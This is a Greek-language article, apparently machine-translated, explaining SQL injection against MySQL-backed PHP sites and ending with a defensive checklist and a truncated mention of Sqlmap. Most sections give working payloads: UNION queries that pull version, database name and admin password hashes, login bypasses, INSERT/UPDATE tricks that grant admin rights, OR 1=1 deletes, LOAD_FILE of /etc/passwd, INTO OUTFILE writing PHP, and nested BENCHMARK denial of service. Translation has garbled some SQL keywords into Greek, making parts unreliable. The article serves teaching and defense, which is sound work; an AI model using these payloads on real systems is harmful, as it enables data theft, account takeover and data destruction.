Sql injection. Τι είναι? Πώς να μάθετε τις εκδόσεις MySQL

Η απροσεξία και η απροσεξία είναι δύο λόγοι για τη σύνταξη κώδικα που είναι ευάλωτος σε ενέσεις SQL. Ο τρίτος λόγος - η άγνοια, θα πρέπει να ενθαρρύνει τον προγραμματιστή να εμβαθύνει τις γνώσεις του ή ακόμα και να αλλάξει επάγγελμα.

Έγχυση SQL ( SQL injection) - ευπάθεια που προκύπτει λόγω ανεπαρκούς επαλήθευσης και επεξεργασίας δεδομένων, τα οποία μεταδίδονται από τον χρήστη και σας επιτρέπει να τροποποιείτε και να εκτελείτε ερωτήματα μη αναμενόμενα από τον κώδικα του προγράμματος SQL.

Η έγχυση SQL είναι ένα ευρέως διαδεδομένο ελάττωμα ασφαλείας στο Διαδίκτυο, το οποίο αξιοποιείται εύκολα χωρίς ειδικά προγράμματα και δεν απαιτεί εκτεταμένες τεχνικές γνώσεις. Η εκμετάλλευση αυτής της ευπάθειας ανοίγει την πόρτα σε μεγάλες ευκαιρίες όπως:

  • κλοπή δεδομένων - 80%
  • άρνηση υπηρεσίας - 10 τοις εκατό.
  • αντικατάσταση ή καταστροφή δεδομένων - 2-3%.
  • άλλες περιπτώσεις και προθέσεις.

Υπάρχουν επίσης διάφορα προγράμματα για τον έλεγχο της ασφάλειας του ιστότοπου για όλα τα είδη εγχύσεων JS και SQL.

Λεπτομερής εξήγηση

Σε αυτό το άρθρο θα προσπαθήσω να εξηγήσω τους κύριους κινδύνους που προκύπτουν κατά την αλληλεπίδραση με τη βάση δεδομένων MySQL. Για λόγους σαφήνειας, θα δώσω ένα παράδειγμα μιας απλής δομής βάσης δεδομένων, η οποία είναι τυπική για τα περισσότερα έργα:

ΔΗΜΙΟΥΡΓΙΑ ΒΑΣΗΣ ΔΕΔΟΜΕΝΩΝ `ειδήσεις`. ΧΡΗΣΗ «ειδήσεων»; # # πίνακας ειδήσεων # CREATE TABLE `news` (`id` int(11) NOT NULL auto_increment, `title` varchar(50) default NULL, `date` datetime default NULL, κείμενο `text`, PRIMARY KEY (`id` )) TYPE=MyISAM; # # add some data # INSERT `news` SET `id`="1", `title`="first news", `date`="2005-06-25 16:50:20", `text`=" κείμενο ειδήσεων"; INSERT `news` SET `id`="2", `title`="second news", `date`="2005-06-24 12:12:33", `text`="test news"; # # πίνακας χρηστών # CREATE TABLE `users` (`id` int(11) NOT NULL auto_increment, `login` varchar(50) default NULL, `password` varchar(50) default NULL, `admin` int(1) NULL ΠΡΟΕΠΙΛΟΓΗ "0", ΚΥΡΙΟ ΚΛΕΙΔΙ (`id`)) TYPE=MyISAM; # # προσθέστε πολλούς χρήστες, ο ένας με δικαιώματα διαχειριστή, ο άλλος απλός # INSERT `users` SET `id`="1", `login`="admin", `password`="qwerty", `admin`="1 " ; INSERT `users` SET `id`="2", `login`="user", `password`="1111", `admin`="0";

Βλέπουμε ότι το αίτημα δημιουργείται ανάλογα με την τιμή του $_GET["id"]. Για να ελέγξετε την ύπαρξη μιας ευπάθειας, αρκεί να την αλλάξετε σε μια τιμή που μπορεί να προκαλέσει σφάλμα κατά την εκτέλεση του ερωτήματος SQL.

Φυσικά, μπορεί να μην υπάρχει έξοδος σφάλματος, αλλά αυτό δεν σημαίνει ότι δεν υπάρχει σφάλμα, ως αποτέλεσμα

"Έχετε ένα σφάλμα στη σύνταξη SQL. ελέγξτε το εγχειρίδιο που αντιστοιχεί στην έκδοση του διακομιστή MySQL για τη σωστή σύνταξη που θα χρησιμοποιήσετε κοντά στο """ στη γραμμή 1"

ή αποτέλεσμα

http://test.com/index.php?id=2-1

εάν υπάρχει μια ευπάθεια, θα πρέπει να παράγει ένα αποτέλεσμα παρόμοιο με

http://test.com/index.php?id=1.

Παρόμοια τρωτά σημεία σας επιτρέπει να τροποποιήσετε το αίτημαστο τμήμα παραμέτρου WHERE. Το πρώτο πράγμα που θα κάνει ένας εισβολέας όταν ανακαλυφθεί μια τέτοια ευπάθεια είναι να εξετάσει πόσα πεδία χρησιμοποιούνται στο αίτημα. Για να γίνει αυτό, ένα εσκεμμένα λανθασμένο αναγνωριστικό ορίζεται για να αποκλείει την έξοδο πραγματικών πληροφοριών και συνδυάζεται με ένα αίτημα με τον ίδιο αριθμό κενών πεδίων.

http://test.com/index.php?id=-1+UNION+SELECT+null,null,null,null

Ο αριθμός των "μηδενικών" πρέπει να αντιστοιχεί στον αριθμό των πεδίων που χρησιμοποιούνται στην αίτηση.

Εάν το ερώτημα εμφανίσει σφάλμα, προστίθεται μια άλλη κενή τιμή μέχρι να εξαφανιστεί το σφάλμα και να επιστραφεί ένα αποτέλεσμα με κενά δεδομένα. Στη συνέχεια, τα συνδυασμένα πεδία αντικαθίστανται με τιμές που μπορούν να παρατηρηθούν οπτικά στη σελίδα.

Για παράδειγμα:

http://test.com/index.php?id=-1+UNION+SELECT+null

Τώρα στη σελίδα όπου υποτίθεται ότι θα εμφανιζόταν ο τίτλος των ειδήσεων, θα εμφανιστεί το qwerty.

Πώς να μάθετε τις εκδόσεις MySQL;

http://test.com/index.php?id=-1+UNION+SELECT+null,VERSION(),null,null http://test.com/index.php?id=-1+UNION+SELECT +null,USER(),null,null http://test.com/index.php?id=-1+UNION+SELECT+null,SESSION_USER(),null,null

Πώς να ανακτήσετε τα στοιχεία σύνδεσης του τρέχοντος χρήστη της βάσης δεδομένων;

http://test.com/index.php?id=-1+UNION+SELECT+null,SYSTEM_USER(),null,null

Ποιο είναι το όνομα της βάσης δεδομένων που χρησιμοποιείται;

http://test.com/index.php?id=-1+UNION+SELECT+null,DATABASE(),null,null

Πώς να λάβετε άλλα δεδομένα από άλλους πίνακες;

SELECT * FROM `news` WHERE `id`=-1 UNION SELECT null, `password`, null, null FROM `users` WHERE `id`="1";

Αυτός είναι ένας απλός τρόπος για να μάθετε τον κωδικό πρόσβασης ή τον κατακερματισμό του κωδικού πρόσβασης του διαχειριστή. Εάν ο τρέχων χρήστης έχει δικαιώματα πρόσβασης στη βάση δεδομένων "mysql", ο εισβολέας θα λάβει τον κατακερματισμό του κωδικού πρόσβασης του διαχειριστή χωρίς το παραμικρό πρόβλημα.

Http://test.com/index.php?id=-1+union+select+null,mysql.user.password,null,null+from+mysql.user

Τώρα η επιλογή του είναι απλώς θέμα χρόνου.

Αναζήτηση

Η αναζήτηση είναι ένα από τα πιο ευάλωτα μέρη, καθώς ένας μεγάλος αριθμός παραμέτρων ερωτήματος μεταδίδονται ταυτόχρονα. Ένα παράδειγμα απλού ερωτήματος που πραγματοποιεί αναζήτηση με λέξη-κλειδί:

ΕΠΙΛΕΞΤΕ * ΑΠΟ "Νέα" ΟΠΟΥ "Τίτλος" ΑΡΕΣΕΙ "%$search%" Ή "text" LIKE "%$search%"

Η $search είναι η λέξη που αποστέλλεται από τη φόρμα. Ένας εισβολέας μπορεί να περάσει $search="# στη μεταβλητή, τώρα το αίτημα θα μοιάζει με αυτό:

SELECT * FROM `news` WHERE `title` LIKE "%"#%" OR `text` LIKE "%"#%";

Αντίστοιχα, αντί για τα αποτελέσματα αναζήτησης για τη λέξη-κλειδί, θα εμφανίζονται όλα τα δεδομένα. Αυτό σας επιτρέπει επίσης να χρησιμοποιήσετε τη δυνατότητα συγκέντρωσης ερωτημάτων που περιγράφεται παραπάνω.

Χρησιμοποιώντας την παράμετρο ORDER

Μπορείτε συχνά να δείτε ότι κατά την εισαγωγή παραμέτρων αναζήτησης ή την εμφάνιση πληροφοριών, επιτρέπουν στον χρήστη να ταξινομεί τα δεδομένα κατά ορισμένα πεδία. Θα πω αμέσως ότι η χρήση αυτής της ευπάθειας δεν είναι πολύ επικίνδυνη, καθώς θα προκαλέσει σφάλμα κατά την προσπάθεια συνδυασμού αιτημάτων, αλλά σε συνδυασμό με τρωτά σημεία σε άλλα πεδία, υπάρχει ο κίνδυνος να σχολιαστεί αυτή η παράμετρος.

http://test.com/index.php?sort=name

η παράμετρος ORDER σχηματίζεται ανάλογα με τη μεταβλητή $sort

Θα δημιουργηθεί το ακόλουθο αίτημα:

SELECT * FROM `news` WHERE `title` LIKE "%"/*%" OR `text` LIKE "%"/*%" ORDER BY */

σχολιάζοντας έτσι μια από τις συνθήκες και την παράμετρο ORDER

Τώρα μπορείτε να συνδυάσετε ξανά το ερώτημα εκχωρώντας $sort=*/ UNION SELECT...

Ως επιλογή για την εκμετάλλευση της ευπάθειας αυτής της παραμέτρου:

ΕΠΙΛΟΓΗ * ΑΠΟ "χρήστες" ORDER BY LENGTH(password);

Θα σας επιτρέψει να ταξινομήσετε τους χρήστες ανάλογα με το μήκος του κωδικού πρόσβασης, υπό την προϋπόθεση ότι θα αποθηκευτεί σε "καθαρή" μορφή.

Εξουσιοδότηση

Ας προσπαθήσουμε τώρα να εξετάσουμε τις επιλογές για ενέσεις SQL που εμφανίζονται κατά την εξουσιοδότηση χρήστη. Συνήθως, το αίτημα που ελέγχει την ορθότητα των δεδομένων εξουσιοδότησης μοιάζει με αυτό:

SELECT * FROM `users` WHERE `login`="$login" AND `password`="$password";

όπου $login και $password είναι μεταβλητές που μεταβιβάζονται από τη φόρμα. Ένα τέτοιο ερώτημα επιστρέφει δεδομένα για τον χρήστη εάν είναι επιτυχές και ένα κενό αποτέλεσμα εάν δεν είναι επιτυχές. Αντίστοιχα, για να περάσει η εξουσιοδότηση, ένας εισβολέας χρειάζεται μόνο να τροποποιήσει το αίτημα έτσι ώστε να επιστρέψει ένα μη μηδενικό αποτέλεσμα. Καθορίζεται μια σύνδεση που αντιστοιχεί σε πραγματικό χρήστη και αντί για κωδικό πρόσβασης, " Ή "1"="1" ή κάποια αληθινή συνθήκη (1, "a"="a", 1<>2, 3>2, 1+1, ISNULL(NULL), 2 IN (0,1,2), 2 ΜΕΤΑΞΥ 1 ΚΑΙ 3). Κατά συνέπεια, το αίτημα θα δημιουργηθεί ως εξής:

SELECT * FROM `users` WHERE `login`="admin" AND `password`="" OR "1"="1";

που θα επιστρέψει το αποτέλεσμα, και ως εκ τούτου, θα οδηγήσει σε μη εξουσιοδοτημένη εξουσιοδότηση. Τι γίνεται αν οι κωδικοί πρόσβασης στον πίνακα είναι κατακερματισμένοι; Στη συνέχεια, ο έλεγχος κωδικού πρόσβασης απλώς «απενεργοποιείται» σχολιάζοντας όλα όσα έρχονται μετά τη «σύνδεση». Στη φόρμα, αντί για τη σύνδεση, εκχωρείται η σύνδεση του πραγματικού χρήστη και "# σχολιάζοντας έτσι τον έλεγχο κωδικού πρόσβασης.

SELECT * FROM `users` WHERE `login`="admin"#" AND `password`="12345"

ως επιλογή "OR `id`=2#

SELECT * FROM `users` WHERE `login`="" OR `id`=2#" AND `password`="12345"

SELECT * FROM `users` WHERE `login`="" OR `admin`="1"#" AND `password`="12345"

Ένα μεγάλο λάθος είναι να ελέγξετε τον κωδικό πρόσβασης ως εξής:

SELECT * FROM `users` WHERE `login`="$login" AND `password` LIKE "$password"

αφού σε αυτή την περίπτωση ο κωδικός % είναι κατάλληλος για οποιαδήποτε σύνδεση

ΕΙΣΑΓΩΓΗ & ΕΝΗΜΕΡΩΣΗ

Ωστόσο, δεν είναι μόνο τα SELECT που είναι ένα αδύναμο σημείο στην SQL. Το INSERT και το UPDATE δεν μπορούν να είναι λιγότερο ευάλωτα. Ας υποθέσουμε ότι ο ιστότοπος έχει τη δυνατότητα εγγραφής χρηστών. Ερώτημα που προσθέτει νέο χρήστη:

Μια ευπάθεια σε ένα από τα πεδία επιτρέπει την τροποποίηση του αιτήματος με τα απαραίτητα δεδομένα. Στο πεδίο σύνδεσης προσθέτουμε χρήστη", "κωδικός πρόσβασης", 1)# προσθέτοντας έτσι έναν χρήστη με δικαιώματα διαχειριστή.

INSERT `users` SET `login`="user", `password`="password", `admin`="0";

Ας υποθέσουμε ότι το πεδίο «admin» βρίσκεται πριν από το πεδίο «login», οπότε το κόλπο της αντικατάστασης των δεδομένων που έρχονται μετά το πεδίο «login» δεν λειτουργεί. Ας θυμηθούμε ότι η σύνταξη της εντολής INSERT σας επιτρέπει να προσθέσετε όχι μόνο μία γραμμή, αλλά πολλές. Ένα παράδειγμα ευπάθειας στο πεδίο σύνδεσης: $login= χρήστης", "password"), (1, "hacker", "password")#

INSERT INTO «users» SET («admin», «login», «password») ΤΙΜΕΣ (0, "user", "password"), (1, "hacker", "password")#", "password") ;

Με αυτόν τον τρόπο δημιουργούνται 2 εγγραφές, η μία με δικαιώματα απλού χρήστη, η άλλη με τα επιθυμητά δικαιώματα διαχειριστή.

Παρόμοια κατάσταση με το UPDATE

Προσθήκη επιπλέον πεδίων για αλλαγή:

$login=", `password`="", `admin`="1

Μετά παρόμοιο αίτημα

ΕΝΗΜΕΡΩΣΗ ΣΕΤ "users" `login`="teapot" WHERE `id`=2;

Τροποποιήθηκε ως εξής:

ΕΝΗΜΕΡΩΣΗ ΣΕΤ "users" `login`="", `password`="", `admin`="1" WHERE `id`=2;

Τι θα συμβεί? Ο χρήστης με το ID 2 θα αλλάξει τη σύνδεση και τον κωδικό πρόσβασης σε κενές τιμές και θα λάβει δικαιώματα διαχειριστή. Ή σε περίπτωση

$login=", `password`="" WHERE `id` =1#

Η είσοδος και ο κωδικός πρόσβασης διαχειριστή θα είναι κενά.

ΔΙΑΓΡΑΦΩ

Όλα είναι απλά εδώ, δεν θα μπορείτε να αποκτήσετε ή να αλλάξετε δεδομένα, αλλά είστε πάντα ευπρόσδεκτοι να διαγράψετε περιττά δεδομένα.

$id=1 Ή 1=1

ΔΙΑΓΡΑΦΗ ΑΠΟ "ειδήσεις" ΟΠΟΥ `id`="1" Ή 1=1; // διαγράφει όλες τις καταχωρήσεις στον πίνακα.

Αντί για 1=1 μπορεί να υπάρχει οποιαδήποτε αληθινή συνθήκη που αναφέρεται παραπάνω. Η παράμετρος LIMIT μπορεί να αποθηκευτεί, η οποία θα περιορίσει τον αριθμό των διαγραμμένων γραμμών, αλλά όχι πάντα, μπορεί απλώς να σχολιαστεί.

ΔΙΑΓΡΑΦΗ ΑΠΟ "ειδήσεις" ΟΠΟΥ `id`="1" Ή 1=1# ΟΡΙΟ 1;

Εργασία με αρχεία μέσω SQL injection

Αμφιβάλλω σοβαρά ότι αυτό μπορεί να συμβεί οπουδήποτε, αλλά για να είμαστε δίκαιοι, τέτοιες μέθοδοι πρέπει επίσης να περιγραφούν. Όταν είναι ενεργοποιημένα τα δικαιώματα αρχείου, μπορείτε να χρησιμοποιήσετε τις εντολές LOAD_FILE και OUTFILE.

Η επικινδυνότητά τους μπορεί να κριθεί από τα παρακάτω ερωτήματα:

SELECT * FROM `news` WHERE `id`=-1 union επιλέξτε null,LOAD_FILE("/etc/passwd"),null,null; SELECT * FROM `news` WHERE `id`=-1 UNION SELECT null, LOAD_FILE("/home/test/www/dbconf.php"),null,null;

Αλλά όλα τα προβλήματα δεν τελειώνουν εκεί ακόμα.

SELECT * FROM `news` WHERE `id`=-1 UNION SELECT null,"",null,null FROM `news` στο outfile "/home/test/www/test.php";

Έτσι γράφουμε ένα αρχείο που περιέχει κώδικα PHP. Είναι αλήθεια ότι εκτός από τον κώδικα, θα υπάρχουν πολλές ακόμη μηδενικές εγγραφές σε αυτό, αλλά αυτό σε καμία περίπτωση δεν θα επηρεάσει την απόδοση του κώδικα PHP. Ωστόσο, υπάρχουν αρκετές προϋποθέσεις λόγω των οποίων αυτές οι μέθοδοι θα λειτουργήσουν:

  • Το δικαίωμα FILE είναι ενεργοποιημένο για τον τρέχοντα χρήστη της βάσης δεδομένων.
  • Τα δικαιώματα ανάγνωσης ή εγγραφής αυτών των αρχείων είναι για τον χρήστη κάτω από τον οποίο εκτελείται ο διακομιστής MySQL· η απόλυτη διαδρομή προς το αρχείο.
  • μια λιγότερο σημαντική προϋπόθεση είναι ότι το μέγεθος του αρχείου πρέπει να είναι μικρότερο από το max_allowed_packet, αλλά επειδή στο MySQL 3.23 το μεγαλύτερο μέγεθος πακέτου μπορεί να είναι 16 MB και σε 4.0.1 και άνω, το μέγεθος του πακέτου περιορίζεται μόνο από την ποσότητα της διαθέσιμης μνήμης, μέχρι το θεωρητικό μέγιστο 2 GB αυτή η συνθήκη είναι συνήθως πάντα διαθέσιμη.

Μαγικά αποσπάσματα

Τα μαγικά εισαγωγικά καθιστούν αδύνατη τη χρήση εισαγωγών SQL σε μεταβλητές συμβολοσειράς, καθώς διαφεύγουν αυτόματα από όλα τα " και " που συνοδεύουν $_GET και $_POST. Αλλά αυτό δεν ισχύει για τη χρήση ευπαθειών σε ακέραιες ή κλασματικές παραμέτρους, αν και με την εξαίρεση ότι δεν θα είναι δυνατή η χρήση του ". Σε αυτήν την περίπτωση, η συνάρτηση char βοηθά.

SELECT * FROM `news` WHERE `id`=-1 UNION SELECT null, char(116, 101, 115, 116), null, null;

DOS μέσω SQL injection.

Σχεδόν ξέχασα να πω, και οι ειδικοί της SQL θα επιβεβαιώσουν, ότι η λειτουργία UNION είναι δυνατή μόνο σε MySQL >=4.0.0. Οι άνθρωποι που έχουν έργα σε προηγούμενες εκδόσεις ανέπνευσαν με ανακούφιση :) Αλλά δεν είναι όλα τόσο ασφαλή όσο φαίνονται με την πρώτη ματιά. Η λογική του επιτιθέμενου μερικές φορές είναι δύσκολο να ακολουθηθεί. "Αν δεν μπορώ να χακάρω, τουλάχιστον θα αποτύχω", θα σκεφτεί ο χάκερ, πληκτρολογώντας τη συνάρτηση BENCHMARK για ένα παράδειγμα αιτήματος

SELECT * FROM `news` WHERE `id`=BENCHMARK(1000000,MD5(NOW()));

Μου πήρε από 12 έως 15 δευτερόλεπτα. Προσθήκη μηδενικού - 174 δευτερόλεπτα. Απλώς δεν μπορούσα να σηκώσω το χέρι μου για να κάνω περισσότερα. Φυσικά, σε ισχυρούς διακομιστές τέτοια πράγματα θα γίνονται πολύ πιο γρήγορα, αλλά το...BENCHMARK σας επιτρέπει να επενδύσετε έναν προς έναν. Σαν αυτό:

SELECT * FROM `news` WHERE `id`=BENCHMARK(1000000,BENCHMARK(1000000,MD5(NOW())));

Ή ακόμα και έτσι

SELECT * FROM `news` WHERE `id`=BENCHMARK(1000000,BENCHMARK(1000000,BENCHMARK(1000000,MD5(NOW()))));

Και ο αριθμός των μηδενικών περιορίζεται μόνο από την «καλοσύνη» αυτού που τα πληκτρολογεί.

Νομίζω ότι ακόμη και ένα ΠΟΛΥ δυνατό μηχάνημα δεν θα μπορεί να καταπιεί εύκολα τέτοια αιτήματα.

Συμπέρασμα

Αυτό είναι όλο. Σε αυτό το άρθρο, προσπάθησα να καλύψω όσο το δυνατόν περισσότερο τους τύπους τρωτών σημείων που δημιουργούν οι προγραμματιστές όταν δημιουργούν προγράμματα χρησιμοποιώντας βάσεις δεδομένων MySQL. Ωστόσο, είμαι περισσότερο από σίγουρος ότι αυτή δεν είναι μια πλήρης λίστα.

Είναι σημαντικό να θυμάστε τους κανόνες κατά των ενέσεων SQL

  • Μην εμπιστεύεστε ΟΠΟΙΑΔΗΠΟΤΕ δεδομένα που προέρχονται από τον χρήστη. Δεν μιλάμε μόνο για τα δεδομένα που μεταφέρονται στους πίνακες $_GET και $_POST. Μην ξεχνάτε το $_COOKIE και άλλα μέρη των κεφαλίδων HTTP. Θα πρέπει να θυμάστε ότι είναι εύκολο να αντικατασταθούν.
  • Δεν πρέπει να βασίζεστε στην επιλογή "μαγικά εισαγωγικά" της PHP, η οποία πιθανώς περισσότερο εμποδίζει παρά βοηθάει. Όλα τα δεδομένα που μεταφέρονται στη βάση δεδομένων πρέπει να συνοψίζονται ανά τύπο με πεδία βάσης δεδομένων. ($id=(int)$_GET["id"]) ή προστατεύεται από τις συναρτήσεις mysql_real_escape_string ή mysql_real_escape_string.
  • Το mysql_real_escape_string δεν διαφεύγει % και _, επομένως δεν πρέπει να χρησιμοποιείται σε συνδυασμό με LIKE.
  • Δεν πρέπει να βασίζεστε πάρα πολύ σε ένα σωστά γραμμένο mod_rewrite. Αυτοί είναι μόνο τρόποι δημιουργίας «βολικών» διευθύνσεων URL, αλλά σίγουρα όχι ένας τρόπος προστασίας από ενέσεις SQL.
  • Απενεργοποιήστε την αναφορά σφαλμάτων.
  • Μην βοηθάτε τους κακούς επισκέπτες. Ακόμη και αν εντοπιστεί το σφάλμα, η έλλειψη πληροφοριών σχετικά με αυτό θα παρεμποδίσει σοβαρά την εφαρμογή του. Θυμηθείτε τη διαφορά μεταξύ του σταδίου ανάπτυξης και του σχεδίου εργασίας. Έξοδος σφάλματοςκαι άλλες λεπτομερείς πληροφορίες - ο σύμμαχός σας στο στάδιο ανάπτυξης, και σύμμαχος του επιτιθέμενουσε έκδοση εργασίας. Επίσης, δεν πρέπει να τα κρύβετε σχολιάζοντας στον κώδικα HTML· για κάθε 1000 επισκέπτες θα υπάρχει 1 που θα εξακολουθεί να βρίσκει τέτοια πράγματα.
  • Χειριστείτε τα σφάλματα.
  • Γράψτε τα ερωτήματα επεξεργασίας SQL με τέτοιο τρόπο ώστε οι πληροφορίες σχετικά με αυτά να αποθηκεύονται σε ορισμένα αρχεία καταγραφής ή να αποστέλλονται μέσω ταχυδρομείου.
  • Μην αποθηκεύετε δεδομένα πρόσβασης στη βάση δεδομένων σε αρχεία που δεν υποβάλλονται σε επεξεργασία από την PHP ως κώδικας.
  • Δεν νομίζω ότι έχω ανακαλύψει την Αμερική σε κανέναν, αλλά από τη δική μου εμπειρία μπορώ να πω ότι αυτή η πρακτική είναι αρκετά συνηθισμένη. Συνήθως αυτό είναι ένα αρχείο με την επέκταση *.inc
  • Μην δημιουργείτε βάση δεδομένων "super user".
  • Παραχωρήστε μόνο τα απαραίτητα δικαιώματα για την εκτέλεση συγκεκριμένων εργασιών.
  • Στην αναζήτηση, αξίζει να περιορίσετε τον ελάχιστο και μέγιστο αριθμό χαρακτήρων, που είναι οι παράμετροι του ερωτήματος.
  • Για έναν ειλικρινή χρήστη, από 3 έως 60-70 χαρακτήρες είναι αρκετοί για να ικανοποιήσουν τα ενδιαφέροντα αναζήτησης και ταυτόχρονα αποτρέπετε καταστάσεις όπου το ερώτημα αναζήτησης θα είναι ο όγκος του "Πόλεμος και Ειρήνη".
  • Ελέγχετε πάντα τον αριθμό των εγγραφών που επιστρέφονται μετά από ένα ερώτημα

Σχεδόν το 90% των τοποθεσιών γραμμένων σε PHPΥπάρχει ένα τέτοιο λογικό σφάλμα, αυτό μπορεί να παρατηρηθεί ιδιαίτερα όταν γίνεται ένα αίτημα με βάση το αναγνωριστικό που ελήφθη από τον χρήστη. Εάν δώσετε στο σενάριο ένα ανύπαρκτο αναγνωριστικό, θα δούμε αρκετά ενδιαφέροντα αποτελέσματα από την εργασία ορισμένων σεναρίων , αντί να επιστρέψει το 404, το πρόγραμμα στην καλύτερη περίπτωση δεν θα κάνει τίποτα και θα εμφανιστεί σε μια κενή σελίδα.

Ασφαλής SQL για εσάς.

Ο αριθμός των τοποθεσιών και των σελίδων στο Διαδίκτυο αυξάνεται σταθερά. Όλοι όσοι μπορούν αναλαμβάνουν την ανάπτυξη. Και οι αρχάριοι προγραμματιστές ιστού χρησιμοποιούν πολύ συχνά μη ασφαλή και παλιό κώδικα. Και αυτό δημιουργεί πολλά κενά για εισβολείς και χάκερ. Αυτό που χρησιμοποιούν. Ένα από τα πιο κλασικά τρωτά σημεία είναι η ένεση SQL.

Λίγη θεωρία

Πολλοί άνθρωποι γνωρίζουν ότι οι περισσότεροι ιστότοποι και υπηρεσίες στο Διαδίκτυο χρησιμοποιούν βάσεις δεδομένων SQL για την αποθήκευση τους. Αυτή είναι μια δομημένη γλώσσα ερωτημάτων που σας επιτρέπει να διαχειρίζεστε και να διαχειρίζεστε αποθήκες δεδομένων. Υπάρχουν πολλές διαφορετικές εκδόσεις συστημάτων διαχείρισης βάσεων δεδομένων - Oracle, MySQL, Postgre. Ανεξάρτητα από το όνομα και τον τύπο, χρησιμοποιούν ερωτήματα δεδομένων με τον ίδιο τρόπο. Εδώ βρίσκεται η πιθανή ευπάθεια. Εάν ο προγραμματιστής δεν μπόρεσε να επεξεργαστεί σωστά και με ασφάλεια το αίτημα, τότε ένας εισβολέας μπορεί να επωφεληθεί από αυτό και να χρησιμοποιήσει ειδικές τακτικές για να αποκτήσει πρόσβαση στη βάση δεδομένων και από εκεί να ελέγξει ολόκληρο τον ιστότοπο.

Για να αποφύγετε τέτοιες καταστάσεις, πρέπει να βελτιστοποιήσετε σωστά τον κώδικα και να παρακολουθείτε προσεκτικά ποιο αίτημα επεξεργάζεται με ποιον τρόπο.

Έλεγχος για ενέσεις SQL

Για τον προσδιορισμό της παρουσίας τρωτών σημείων στο δίκτυο, υπάρχουν πολλά έτοιμα αυτοματοποιημένα συστήματα λογισμικού. Αλλά μπορείτε να κάνετε έναν απλό έλεγχο χειροκίνητα. Για να το κάνετε αυτό, πρέπει να μεταβείτε σε έναν από τους ιστότοπους που ερευνάτε και να προσπαθήσετε να ενεργοποιήσετε ένα σφάλμα βάσης δεδομένων στη γραμμή διευθύνσεων. Για παράδειγμα, ένα σενάριο σε έναν ιστότοπο ενδέχεται να μην επεξεργάζεται αιτήματα και να μην τα διακόπτει.

Για παράδειγμα, υπάρχει ένα sure_site/index.php?id=25

Ο πιο εύκολος τρόπος είναι να βάλεις μια προσφορά μετά τα 25 και να στείλεις αίτημα. Εάν δεν παρουσιαστεί σφάλμα, τότε είτε φιλτράρονται όλα τα αιτήματα στον ιστότοπο και υποβάλλονται σε σωστή επεξεργασία είτε η έξοδος τους απενεργοποιείται στις ρυθμίσεις. Εάν η σελίδα φορτώθηκε ξανά με προβλήματα, σημαίνει ότι υπάρχει ευπάθεια για την ένεση SQL.

Μόλις εντοπιστεί, μπορείτε να προσπαθήσετε να το ξεφορτωθείτε.

Για να εφαρμόσετε αυτήν την ευπάθεια, πρέπει να γνωρίζετε λίγα πράγματα για το Ένα από αυτά είναι η UNION. Συνδυάζει πολλαπλά αποτελέσματα ερωτημάτων σε ένα. Με αυτόν τον τρόπο μπορείτε να υπολογίσετε τον αριθμό των πεδίων στον πίνακα. Ένα παράδειγμα του πρώτου αιτήματος μοιάζει με αυτό:

  • some_site/index.php?id=25 ΕΠΙΛΟΓΗ ΕΝΩΣΗΣ 1.

Στις περισσότερες περιπτώσεις, μια τέτοια καταχώρηση θα πρέπει να δημιουργήσει ένα σφάλμα. Αυτό σημαίνει ότι ο αριθμός των πεδίων δεν είναι ίσος με 1. Έτσι, επιλέγοντας επιλογές από 1 και περισσότερα, μπορείτε να ορίσετε τον ακριβή αριθμό τους:

  • some_site/index.php?id=25 ΕΠΙΛΟΓΗ ΕΝΩΣΗΣ 1,2,3,4,5,6.

Δηλαδή, όταν το σφάλμα σταματήσει να εμφανίζεται, σημαίνει ότι ο αριθμός των πεδίων είναι σωστός.

Υπάρχει επίσης μια εναλλακτική λύση σε αυτό το πρόβλημα. Για παράδειγμα, όταν ο αριθμός των πεδίων είναι μεγάλος - 30, 60 ή 100. Αυτή είναι η εντολή GROUP BY. Ομαδοποιεί τα αποτελέσματα των ερωτημάτων με βάση κάποιο χαρακτηριστικό, για παράδειγμα id:

  • some_site/index.php?id=25 GROUP BY 5.

Εάν δεν ελήφθησαν σφάλματα, σημαίνει ότι υπάρχουν περισσότερα από 5 πεδία. Έτσι, αντικαθιστώντας επιλογές από ένα αρκετά μεγάλο εύρος, μπορείτε να υπολογίσετε πόσα είναι πραγματικά.

Αυτό το παράδειγμα έγχυσης SQL είναι για αρχάριους που θέλουν να δοκιμάσουν τις δυνάμεις τους στη δοκιμή του ιστότοπού τους. Είναι σημαντικό να θυμάστε ότι υπάρχει ένα άρθρο του Ποινικού Κώδικα για μη εξουσιοδοτημένη πρόσβαση σε περιουσία κάποιου άλλου.

Κύριοι τύποι ενέσεων

Υπάρχουν πολλές επιλογές για την υλοποίηση τρωτών σημείων μέσω της ένεσης SQL. Οι παρακάτω είναι οι πιο δημοφιλείς μέθοδοι:

    UNION ένεση. Ένα απλό παράδειγμα αυτού του τύπου έχει ήδη συζητηθεί παραπάνω. Υλοποιείται λόγω σφάλματος στον έλεγχο των εισερχόμενων δεδομένων, τα οποία δεν φιλτράρονται με κανέναν τρόπο.

    Έγχυση SQL που βασίζεται σε σφάλματα. Όπως υποδηλώνει το όνομα, αυτός ο τύπος εκμεταλλεύεται επίσης σφάλματα στέλνοντας εκφράσεις που είναι συντακτικά λανθασμένες. Στη συνέχεια, οι κεφαλίδες απόκρισης υποκλαπούν, αναλύοντας τις οποίες μπορούν στη συνέχεια να χρησιμοποιηθούν για την εκτέλεση μιας ένεσης SQL.

    Στοιβαγμένη ένεση. Αυτή η ευπάθεια καθορίζεται από την εκτέλεση διαδοχικών αιτημάτων. Χαρακτηρίζεται από την προσθήκη ενός «;» στο τέλος. Αυτή η προσέγγιση εφαρμόζεται συχνότερα για την πρόσβαση στην υλοποίηση δεδομένων ανάγνωσης και εγγραφής ή για τον έλεγχο των λειτουργιών του λειτουργικού συστήματος, εάν το επιτρέπουν τα προνόμια.

Συστήματα λογισμικού για την αναζήτηση τρωτών σημείων SQL

Διαθέσιμα για την πραγματοποίηση εγχύσεων SQL, τα προγράμματα έχουν συνήθως δύο στοιχεία - σάρωση μιας τοποθεσίας για πιθανές ευπάθειες και χρήση τους για πρόσβαση σε δεδομένα. Υπάρχουν τέτοια βοηθητικά προγράμματα για όλες σχεδόν τις γνωστές πλατφόρμες. Η λειτουργικότητά τους διευκολύνει σε μεγάλο βαθμό τον έλεγχο ενός ιστότοπου για τη δυνατότητα hacking με SQL injection.

Sqlmap

